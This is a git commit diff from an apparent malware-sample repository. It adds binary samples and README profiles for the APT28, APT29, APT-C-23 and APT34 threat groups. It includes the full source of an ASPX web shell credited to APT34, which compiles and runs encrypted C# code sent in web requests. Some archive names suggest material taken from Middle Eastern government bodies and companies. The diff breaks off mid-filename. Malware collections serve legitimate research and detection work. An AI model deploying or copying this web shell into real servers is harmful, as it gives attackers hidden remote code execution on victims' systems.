This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
commit
aw-junaidf1f5f5fcf2e5
diff --git a/Malwares/APT28 FancyBear/APT28,NATOPAPER,SOFACY2004.bin b/Malwares/APT28 FancyBear/APT28,NATOPAPER,SOFACY2004.binnew file mode 100644index 0000000..4e25180Binary files /dev/null and b/Malwares/APT28 FancyBear/APT28,NATOPAPER,SOFACY2004.bin differdiff --git a/Malwares/APT28 FancyBear/APT28DecoyDocument.doc b/Malwares/APT28 FancyBear/APT28DecoyDocument.docnew file mode 100644index 0000000..fe14aa6Binary files /dev/null and b/Malwares/APT28 FancyBear/APT28DecoyDocument.doc differdiff --git a/Malwares/APT28 FancyBear/APT28DropperExcelDoc.xls b/Malwares/APT28 FancyBear/APT28DropperExcelDoc.xlsnew file mode 100644index 0000000..64292e7Binary files /dev/null and b/Malwares/APT28 FancyBear/APT28DropperExcelDoc.xls differdiff --git a/Malwares/APT28 FancyBear/APT28Hospital.doc b/Malwares/APT28 FancyBear/APT28Hospital.docnew file mode 100644index 0000000..26cf660Binary files /dev/null and b/Malwares/APT28 FancyBear/APT28Hospital.doc differdiff --git a/Malwares/APT28 FancyBear/APT28Implant.bin b/Malwares/APT28 FancyBear/APT28Implant.binnew file mode 100644index 0000000..1bf0456Binary files /dev/null and b/Malwares/APT28 FancyBear/APT28Implant.bin differdiff --git a/Malwares/APT28 FancyBear/FancyBearBlog.jpg b/Malwares/APT28 FancyBear/FancyBearBlog.jpgnew file mode 100644index 0000000..60f071bBinary files /dev/null and b/Malwares/APT28 FancyBear/FancyBearBlog.jpg differdiff --git a/Malwares/APT28 FancyBear/FancyBearZekapab.bin b/Malwares/APT28 FancyBear/FancyBearZekapab.binnew file mode 100644index 0000000..6f23466Binary files /dev/null and b/Malwares/APT28 FancyBear/FancyBearZekapab.bin differdiff --git a/Malwares/APT28 FancyBear/FancyBearZekapabImplant.bin b/Malwares/APT28 FancyBear/FancyBearZekapabImplant.binnew file mode 100644index 0000000..8d603ecBinary files /dev/null and b/Malwares/APT28 FancyBear/FancyBearZekapabImplant.bin differdiff --git a/Malwares/APT28 FancyBear/FancyImplant.bin b/Malwares/APT28 FancyBear/FancyImplant.binnew file mode 100644index 0000000..36f433bBinary files /dev/null and b/Malwares/APT28 FancyBear/FancyImplant.bin differdiff --git a/Malwares/APT28 FancyBear/LoJaxKernelDriver.bin b/Malwares/APT28 FancyBear/LoJaxKernelDriver.binnew file mode 100644index 0000000..ea414f1Binary files /dev/null and b/Malwares/APT28 FancyBear/LoJaxKernelDriver.bin differdiff --git a/Malwares/APT28 FancyBear/LoJaxSmall_AgentDLL.exe b/Malwares/APT28 FancyBear/LoJaxSmall_AgentDLL.exenew file mode 100644index 0000000..91e569eBinary files /dev/null and b/Malwares/APT28 FancyBear/LoJaxSmall_AgentDLL.exe differdiff --git a/Malwares/APT28 FancyBear/MacOSKomplexFancyBear.bin b/Malwares/APT28 FancyBear/MacOSKomplexFancyBear.binnew file mode 100644index 0000000..44c431fBinary files /dev/null and b/Malwares/APT28 FancyBear/MacOSKomplexFancyBear.bin differdiff --git a/Malwares/APT28 FancyBear/README.md b/Malwares/APT28 FancyBear/README.mdnew file mode 100644index 0000000..af8b50c--- /dev/null+++ b/Malwares/APT28 FancyBear/README.md@@ -0,0 +1,14 @@+## APT28 FancyBear+++Russian cyber espionage group. Cybersecurity firm CrowdStrike has said with a medium level of confidence that it is associated with the Russian military intelligence agency GRU. The UK's Foreign and Commonwealth Office as well as security firms SecureWorks, ThreatConnect, and Mandiant, have also said the group is sponsored by the Russian government. In 2018, an indictment by the United States Special Counsel identified Fancy Bear as GRU Unit 26165.++++The name "Fancy Bear" comes from a coding system security researcher Dmitri Alperovitch uses to identify hackers.++Likely operating since the mid-2000s, Fancy Bear's methods are consistent with the capabilities of state actors. The group targets government, military, and security organizations, especially Transcaucasian and NATO-aligned states. Fancy Bear is thought to be responsible for cyber attacks on the German parliament, the Norwegian parliament, the French television station TV5Monde, the White House, NATO, the Democratic National Committee, the Organization for Security and Co-operation in Europe and the campaign of French presidential candidate Emmanuel Macron. The group promotes the political interests of the Russian government, and is known for hacking Democratic National Committee emails to attempt to influence the outcome of the United States 2016 presidential elections.++++Fancy Bear is classified by FireEye as an advanced persistent threat. Among other things, it uses zero-day exploits, spear phishing and malware to compromise targets.diff --git a/Malwares/APT28 FancyBear/X-AgentTrojan.bin b/Malwares/APT28 FancyBear/X-AgentTrojan.binnew file mode 100644index 0000000..05d1eb2Binary files /dev/null and b/Malwares/APT28 FancyBear/X-AgentTrojan.bin differdiff --git a/Malwares/APT28 FancyBear/Xagent64.bin b/Malwares/APT28 FancyBear/Xagent64.binnew file mode 100644index 0000000..551d9eeBinary files /dev/null and b/Malwares/APT28 FancyBear/Xagent64.bin differdiff --git a/Malwares/APT28 FancyBear/ZekaAPT28.bin b/Malwares/APT28 FancyBear/ZekaAPT28.binnew file mode 100644index 0000000..8a4aadaBinary files /dev/null and b/Malwares/APT28 FancyBear/ZekaAPT28.bin differdiff --git a/Malwares/APT28 FancyBear/ZekapabImplant.bin b/Malwares/APT28 FancyBear/ZekapabImplant.binnew file mode 100644index 0000000..098e218Binary files /dev/null and b/Malwares/APT28 FancyBear/ZekapabImplant.bin differdiff --git a/Malwares/APT28 FancyBear/fancybearss.webp b/Malwares/APT28 FancyBear/fancybearss.webpnew file mode 100644index 0000000..d577440Binary files /dev/null and b/Malwares/APT28 FancyBear/fancybearss.webp differdiff --git a/Malwares/APT28 FancyBear/twain_64DLL.dll b/Malwares/APT28 FancyBear/twain_64DLL.dllnew file mode 100644index 0000000..551d9eeBinary files /dev/null and b/Malwares/APT28 FancyBear/twain_64DLL.dll differdiff --git a/Malwares/APT29 CozyBear/CozyBearImplant.bin b/Malwares/APT29 CozyBear/CozyBearImplant.binnew file mode 100644index 0000000..5068d71Binary files /dev/null and b/Malwares/APT29 CozyBear/CozyBearImplant.bin differdiff --git a/Malwares/APT29 CozyBear/ImplantCozy.bin b/Malwares/APT29 CozyBear/ImplantCozy.binnew file mode 100644index 0000000..34f9ffaBinary files /dev/null and b/Malwares/APT29 CozyBear/ImplantCozy.bin differdiff --git a/Malwares/APT29 CozyBear/README.md b/Malwares/APT29 CozyBear/README.mdnew file mode 100644index 0000000..f4721be--- /dev/null+++ b/Malwares/APT29 CozyBear/README.md@@ -0,0 +1,15 @@+## APT29 CozyBear++++Cozy Bear, classified by the United States federal government as advanced persistent threat APT29, is a Russian hacker group believed to be associated with one or more intelligence agencies of Russia. The Dutch General Intelligence and Security Service (AIVD) deduced from security camera footage that it is led by the Russian Foreign Intelligence Service (SVR); this view is shared by the United States. Cybersecurity firm CrowdStrike also previously suggested that it may be associated with either the Russian Federal Security Service (FSB) or SVR. The group has been given various nicknames by other cybersecurity firms, including CozyCar, CozyDuke (by F-Secure), Dark Halo, The Dukes (by Volexity), NOBELIUM, Office Monkeys, StellarParticle, UNC2452, and YTTRIUM.++++On 20 December 2020, it was reported that CozyBear was responsible for a cyber attack on US sovereign national data, believed to be at the direction of the Russian government.++They have staged a series of precise attacks on high profile targets including the US White House, Department of State and the Democratic National Committee.++++The actor hunts for confidential information stored in the networks of governmental organizations, political groups and think tanks, as well as various individuals involved in defense and geopolitical related research.diff --git a/Malwares/APT29 CozyBear/SeaDaddyImplant (2).bin b/Malwares/APT29 CozyBear/SeaDaddyImplant (2).binnew file mode 100644index 0000000..34f9ffaBinary files /dev/null and b/Malwares/APT29 CozyBear/SeaDaddyImplant (2).bin differdiff --git a/Malwares/APT29 CozyBear/SeaDaddyImplant.bin b/Malwares/APT29 CozyBear/SeaDaddyImplant.binnew file mode 100644index 0000000..5068d71Binary files /dev/null and b/Malwares/APT29 CozyBear/SeaDaddyImplant.bin differdiff --git a/Malwares/APT29 CozyBear/TrojanCozyBear.bin b/Malwares/APT29 CozyBear/TrojanCozyBear.binnew file mode 100644index 0000000..c24fafaBinary files /dev/null and b/Malwares/APT29 CozyBear/TrojanCozyBear.bin differdiff --git a/Malwares/APT29 CozyBear/atiagentCozyBear.bin b/Malwares/APT29 CozyBear/atiagentCozyBear.binnew file mode 100644index 0000000..fce50a5Binary files /dev/null and b/Malwares/APT29 CozyBear/atiagentCozyBear.bin differdiff --git a/Malwares/APT29 CozyBear/cozy Russian bear.jpg b/Malwares/APT29 CozyBear/cozy Russian bear.jpgnew file mode 100644index 0000000..5af5afdBinary files /dev/null and b/Malwares/APT29 CozyBear/cozy Russian bear.jpg differdiff --git a/Malwares/APT29 CozyBear/cozyRussianbear.jpg b/Malwares/APT29 CozyBear/cozyRussianbear.jpgnew file mode 100644index 0000000..5af5afdBinary files /dev/null and b/Malwares/APT29 CozyBear/cozyRussianbear.jpg differdiff --git a/Malwares/APT29 CozyBear/cozybear.jpg b/Malwares/APT29 CozyBear/cozybear.jpgnew file mode 100644index 0000000..47695c2Binary files /dev/null and b/Malwares/APT29 CozyBear/cozybear.jpg differdiff --git a/Malwares/APTC23/APT-C-23Info.txt b/Malwares/APTC23/APT-C-23Info.txtnew file mode 100644index 0000000..526ad66--- /dev/null+++ b/Malwares/APTC23/APT-C-23Info.txt@@ -0,0 +1 @@+https://research.checkpoint.com/interactive-mapping-of-apt-c-23/diff --git a/Malwares/APTC23/MicropsiaRAT2018.bin b/Malwares/APTC23/MicropsiaRAT2018.binnew file mode 100644index 0000000..b70d642Binary files /dev/null and b/Malwares/APTC23/MicropsiaRAT2018.bin differdiff --git a/Malwares/APTC23/README.md b/Malwares/APTC23/README.mdnew file mode 100644index 0000000..bd17800--- /dev/null+++ b/Malwares/APTC23/README.md@@ -0,0 +1,9 @@+## APTC23 - Hamas+++<img src="aptc23.webp" height="520" width="1750" >++Android spyware used by APT-C-23, a threat group also known as Two-tailed Scorpion and mainly targeting the Middle East (Israel and allies). ESET products detect the malware as Android/SpyC23.A.++The APT-C-23 group is known to have used both Windows and Android components in its operations, with the Android components first described in 2017. In the same year, multiple analyses of APT-C-23’s mobile malware were published.+Compared to the versions documented in 2017, Android/SpyC23.A has extended spying functionality, including reading notifications from messaging apps, call recording and screen recording, and new stealth features, such as dismissing notifications from built-in Android security apps. One of the ways the spyware is distributed is via a fake Android app store, using well-known apps as a lure. In April 2020, @malwrhunterteam tweeted about a new Android malware sample. According to the VirusTotal service, no security vendor besides ESET detected the sample at the time. In cooperation with @malwrhunterteam, we recognized the malware to be part of the APT-C-23 arsenal.diff --git a/Malwares/APTC23/aptc23.webp b/Malwares/APTC23/aptc23.webpnew file mode 100644index 0000000..e3e5d8fBinary files /dev/null and b/Malwares/APTC23/aptc23.webp differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Abu Dhabi Statistics Center scad.ae.zip b/Malwares/Advanced Malware/APT34 Iranian/Abu Dhabi Statistics Center scad.ae.zipnew file mode 100644index 0000000..683452bBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Abu Dhabi Statistics Center scad.ae.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Abu Dhabi airports.zip b/Malwares/Advanced Malware/APT34 Iranian/Abu Dhabi airports.zipnew file mode 100644index 0000000..e6ef254Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Abu Dhabi airports.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Dubai Media Inc.zip b/Malwares/Advanced Malware/APT34 Iranian/Dubai Media Inc.zipnew file mode 100644index 0000000..13c885aBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Dubai Media Inc.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Emirates Federal Competitiveness and Statistics Authority.zip b/Malwares/Advanced Malware/APT34 Iranian/Emirates Federal Competitiveness and Statistics Authority.zipnew file mode 100644index 0000000..2101d0dBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Emirates Federal Competitiveness and Statistics Authority.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Emirates Ministry of Presidental Affairs.zip b/Malwares/Advanced Malware/APT34 Iranian/Emirates Ministry of Presidental Affairs.zipnew file mode 100644index 0000000..9761c51Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Emirates Ministry of Presidental Affairs.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Emirates NMC National Media Company.zip b/Malwares/Advanced Malware/APT34 Iranian/Emirates NMC National Media Company.zipnew file mode 100644index 0000000..e09cbe6Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Emirates NMC National Media Company.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Emirates National Oil Co (2).zip b/Malwares/Advanced Malware/APT34 Iranian/Emirates National Oil Co (2).zipnew file mode 100644index 0000000..f55e2d8Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Emirates National Oil Co (2).zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Emirates National Oil Co.zip b/Malwares/Advanced Malware/APT34 Iranian/Emirates National Oil Co.zipnew file mode 100644index 0000000..229fdcfBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Emirates National Oil Co.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Emirates Policy Center.zip b/Malwares/Advanced Malware/APT34 Iranian/Emirates Policy Center.zipnew file mode 100644index 0000000..ccf95b1Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Emirates Policy Center.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Emirates Prime Minister Office.zip b/Malwares/Advanced Malware/APT34 Iranian/Emirates Prime Minister Office.zipnew file mode 100644index 0000000..4f2819aBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Emirates Prime Minister Office.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Etithad Airways.zip b/Malwares/Advanced Malware/APT34 Iranian/Etithad Airways.zipnew file mode 100644index 0000000..5d35948Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Etithad Airways.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Glimpse.zip b/Malwares/Advanced Malware/APT34 Iranian/Glimpse.zipnew file mode 100644index 0000000..49d483dBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Glimpse.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Jordan NITC - National Information Technology Center.zip b/Malwares/Advanced Malware/APT34 Iranian/Jordan NITC - National Information Technology Center.zipnew file mode 100644index 0000000..1d6ca03Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Jordan NITC - National Information Technology Center.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Jordan Software solutions company primus.com.jo.zip b/Malwares/Advanced Malware/APT34 Iranian/Jordan Software solutions company primus.com.jo.zipnew file mode 100644index 0000000..7365c4eBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Jordan Software solutions company primus.com.jo.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Kuwait Amiri Diwan da.gov.kw.zip b/Malwares/Advanced Malware/APT34 Iranian/Kuwait Amiri Diwan da.gov.kw.zipnew file mode 100644index 0000000..b2850baBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Kuwait Amiri Diwan da.gov.kw.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Lamprell Energy Ltd.zip b/Malwares/Advanced Malware/APT34 Iranian/Lamprell Energy Ltd.zipnew file mode 100644index 0000000..2844f16Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Lamprell Energy Ltd.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/MagicHoundAPT34.doc b/Malwares/Advanced Malware/APT34 Iranian/MagicHoundAPT34.docnew file mode 100644index 0000000..866538bBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/MagicHoundAPT34.doc differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/National Securtiy Agency of Bahrain.zip b/Malwares/Advanced Malware/APT34 Iranian/National Securtiy Agency of Bahrain.zipnew file mode 100644index 0000000..08019e9Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/National Securtiy Agency of Bahrain.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Nigerian building and road research institute.zip b/Malwares/Advanced Malware/APT34 Iranian/Nigerian building and road research institute.zipnew file mode 100644index 0000000..0d62540Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Nigerian building and road research institute.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Oman Administrative court admincourt.gov.om.zip b/Malwares/Advanced Malware/APT34 Iranian/Oman Administrative court admincourt.gov.om.zipnew file mode 100644index 0000000..c1b98beBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Oman Administrative court admincourt.gov.om.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Omid_Palvayeh.pdf b/Malwares/Advanced Malware/APT34 Iranian/Omid_Palvayeh.pdfnew file mode 100644index 0000000..39d2a33Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Omid_Palvayeh.pdf differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Qatar padiwan.gov.qa.7z b/Malwares/Advanced Malware/APT34 Iranian/Qatar padiwan.gov.qa.7znew file mode 100644index 0000000..d9cdb29Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Qatar padiwan.gov.qa.7z differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Qatar padiwan.gov.qa.zip b/Malwares/Advanced Malware/APT34 Iranian/Qatar padiwan.gov.qa.zipnew file mode 100644index 0000000..eabce32Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Qatar padiwan.gov.qa.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/README.md b/Malwares/Advanced Malware/APT34 Iranian/README.mdnew file mode 100644index 0000000..32888a2--- /dev/null+++ b/Malwares/Advanced Malware/APT34 Iranian/README.md@@ -0,0 +1,14 @@+## APT34 Helix Kitten aKa OILRIG+++The group has reportedly been active since at least 2014. It has targeted many of the same organizations as Advanced Persistent Threat, according to John Hultquist.++++In April 2019, APT34's cyber-espionage tools' source code was leaked through Telegram. The group has reportedly targeted organizations in the financial, energy, telecommunications, and chemical industries, as well as critical infrastructure systems. APT34 reportedly uses Microsoft Excel macros, PowerShell-based exploits and social engineering to gain access to its targets.++Since the 2019 leak of APT34’s tools by an entity named “Lab Dookhtegan”, the threat group has been actively retooling and updating their payload arsenal to try and avoid detection, creating several different malware variants whose ultimate purpose remained the same: to gain the initial foothold on the targeted device. Iran backed APT34 shows no sign of slowing down, further pushing its political agenda in the middle-east, with an ongoing focus on Lebanon – using offensive cyber operations.++++While maintaining its modus operandi and reusing old techniques, as reviewed above, the group continues to create new and updated tools to minimize the possible detection of their tools by security vendors.diff --git a/Malwares/Advanced Malware/APT34 Iranian/Rahacrop.pdf b/Malwares/Advanced Malware/APT34 Iranian/Rahacrop.pdfnew file mode 100644index 0000000..a2d0e6aBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Rahacrop.pdf differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/Webshells_and_Panel.zip b/Malwares/Advanced Malware/APT34 Iranian/Webshells_and_Panel.zipnew file mode 100644index 0000000..46d0ed2Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/Webshells_and_Panel.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/alireza_ebrahimi.pdf b/Malwares/Advanced Malware/APT34 Iranian/alireza_ebrahimi.pdfnew file mode 100644index 0000000..285dbd9Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/alireza_ebrahimi.pdf differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/base.aspx.txt b/Malwares/Advanced Malware/APT34 Iranian/base.aspx.txtnew file mode 100644index 0000000..7f396bc--- /dev/null+++ b/Malwares/Advanced Malware/APT34 Iranian/base.aspx.txt@@ -0,0 +1,120 @@+<%@ Page Language="C#"%>+<%@ Import Namespace="System.Reflection"%>+<%@ Import Namespace="Microsoft.CSharp"%>+<%@ Import Namespace="System.CodeDom.Compiler"%>+<%@ Import Namespace="System.IO"%>+<%@ Import Namespace="System.Security.Cryptography"%>+<script language="c#" runat="server">+ public byte[] decrypt(String base64, Guid k)+ {+ byte[] key = k.ToByteArray();+ byte[] ret = Convert.FromBase64String(base64);+ using (MemoryStream memoryStream = new MemoryStream())+ {+ RijndaelManaged r = new RijndaelManaged();+ r.Mode = CipherMode.CBC;+ using (CryptoStream cryptoStream = new CryptoStream(memoryStream, r.CreateDecryptor(key, key), CryptoStreamMode.Write))+ {+ cryptoStream.Write(ret, 0, ret.Length);+ cryptoStream.FlushFinalBlock();+ }+ return memoryStream.ToArray();+ }+ }++ public void Page_Load(object sender, EventArgs e)+ {+ try+ {+ String encSource = Request.Params["d"], signature = Request.Params["s"], parameters = Request.Params["p"], ks = Request.Params["ks"];+ String n = "%N%";+ RSACryptoServiceProvider RSA = new RSACryptoServiceProvider();++ RSAParameters param = new RSAParameters();+ param.Modulus = Convert.FromBase64String(n);+ param.Exponent = new byte[] { 1, 0, 1 };++ RSA.ImportParameters(param);+ string tempPath = Path.GetTempPath() + "\\";+ byte[] ret = null;+ byte[] key = null;+ String enc = "";+ Guid sk;+ String fn = null;++ if(Request.Cookies["sc"] == null || String.IsNullOrEmpty(Request.Cookies["sc"].Value))+ {++ fn = Guid.NewGuid().ToString();+ sk = Guid.NewGuid();+ Response.Cookies["sc"].Value = fn;+ File.WriteAllText(tempPath + fn, sk.ToString());+ }+ else+ {+ fn = Request.Cookies["sc"].Value;+ if(String.IsNullOrEmpty(fn))+ {+ fn = Guid.NewGuid().ToString();+ Response.Cookies["sc"].Value = fn;+ }+ }++ if(File.Exists(tempPath + fn))+ {+ sk = new Guid(File.ReadAllText(tempPath + fn));+ }+ else+ {+ fn = Guid.NewGuid().ToString();+ sk = Guid.NewGuid();+ Response.Cookies["sc"].Value = fn;+ File.WriteAllText(tempPath + fn, sk.ToString());+ }++ Guid k = Guid.NewGuid();+ key = k.ToByteArray();+ if (RSA.VerifyData(Encoding.ASCII.GetBytes(encSource), new SHA1CryptoServiceProvider(), Convert.FromBase64String(signature)))+ {+ if (RSA.VerifyData((sk).ToByteArray(), new SHA1CryptoServiceProvider(), Convert.FromBase64String(ks)))+ {+ byte[] decSource = decrypt(encSource, sk);+ byte[] decParams = decrypt(parameters, sk);+ CompilerParameters compilerParams = new CompilerParameters(new string[] { "System.dll", "System.Data.dll", "System.Xml.dll" });+ compilerParams.GenerateInMemory = true;+ compilerParams.GenerateExecutable = false;+ object o = (new CSharpCodeProvider()).CompileAssemblyFromSource(compilerParams, Encoding.ASCII.GetString(decSource)).CompiledAssembly.CreateInstance("A.B");+ MethodInfo mi = o.GetType().GetMethod("C");+ ret = (byte[])mi.Invoke(o, Encoding.ASCII.GetString(decParams).Split('|'));+ using (MemoryStream memoryStream = new MemoryStream())+ {+ RijndaelManaged r = new RijndaelManaged();+ r.Mode = CipherMode.CBC;+ using (CryptoStream cryptoStream = new CryptoStream(memoryStream, r.CreateEncryptor(key, key), CryptoStreamMode.Write))+ {+ cryptoStream.Write(ret, 0, ret.Length);+ cryptoStream.FlushFinalBlock();+ }+ enc = Convert.ToBase64String(memoryStream.ToArray());+ }+ }+ else+ {+ enc = "";+ }+ System.IO.File.WriteAllText(tempPath + fn, k.ToString());+ Response.Write(Convert.ToBase64String(RSA.Encrypt(key, true)) + "\r\n" + enc + "\r\n");+ }+ else+ {++ }+ return;+ }+ catch (Exception ee)+ {+ Response.Redirect("/");+ return;+ }+ }+</script>diff --git a/Malwares/Advanced Malware/APT34 Iranian/cdhq.gov.ae.zip b/Malwares/Advanced Malware/APT34 Iranian/cdhq.gov.ae.zipnew file mode 100644index 0000000..f3b3b32Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/cdhq.gov.ae.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/iranian-hackers.webp b/Malwares/Advanced Malware/APT34 Iranian/iranian-hackers.webpnew file mode 100644index 0000000..5e8a805Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/iranian-hackers.webp differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/iranian-hackerss.jpg b/Malwares/Advanced Malware/APT34 Iranian/iranian-hackerss.jpgnew file mode 100644index 0000000..c4ee98eBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/iranian-hackerss.jpg differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/mohamad masoomi.pdf b/Malwares/Advanced Malware/APT34 Iranian/mohamad masoomi.pdfnew file mode 100644index 0000000..40e0de9Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/mohamad masoomi.pdf differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-17.jpg b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-17.jpgnew file mode 100644index 0000000..b24b99bBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-17.jpg differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-28.jpg b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-28.jpgnew file mode 100644index 0000000..b4ae0bcBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-28.jpg differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-32.jpg b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-32.jpgnew file mode 100644index 0000000..e69fd51Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-32.jpg differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-36.jpg b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-36.jpgnew file mode 100644index 0000000..e5b06d9Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-36.jpg differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-39.jpg b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-39.jpgnew file mode 100644index 0000000..e15d7c5Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-39.jpg differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-43.jpg b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-43.jpgnew file mode 100644index 0000000..a75a1abBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-43.jpg differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-51.jpg b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-51.jpgnew file mode 100644index 0000000..9a1d032Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-51.jpg differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-55.jpg b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-55.jpgnew file mode 100644index 0000000..e5b06d9Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-01-55.jpg differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-03-11.jpg b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-03-11.jpgnew file mode 100644index 0000000..4708f6eBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-03-11.jpg differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-03-15.jpg b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-03-15.jpgnew file mode 100644index 0000000..52c3bf1Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/photo_2019-04-18_12-03-15.jpg differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/posion frog.zip b/Malwares/Advanced Malware/APT34 Iranian/posion frog.zipnew file mode 100644index 0000000..6bbc8cbBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/posion frog.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/saeid shahrab.pdf b/Malwares/Advanced Malware/APT34 Iranian/saeid shahrab.pdfnew file mode 100644index 0000000..37aa358Binary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/saeid shahrab.pdf differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/sstc.com.sa.zip b/Malwares/Advanced Malware/APT34 Iranian/sstc.com.sa.zipnew file mode 100644index 0000000..22ee53bBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/sstc.com.sa.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/taha mahdi tavakoli.pdf b/Malwares/Advanced Malware/APT34 Iranian/taha mahdi tavakoli.pdfnew file mode 100644index 0000000..792aebbBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/taha mahdi tavakoli.pdf differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/webmask_dnspionage.zip b/Malwares/Advanced Malware/APT34 Iranian/webmask_dnspionage.zipnew file mode 100644index 0000000..cfc4c6dBinary files /dev/null and b/Malwares/Advanced Malware/APT34 Iranian/webmask_dnspionage.zip differdiff --git a/Malwares/Advanced Malware/APT34 Iranian/webshells.csv b/Malwares/Advanced Malware/APT34 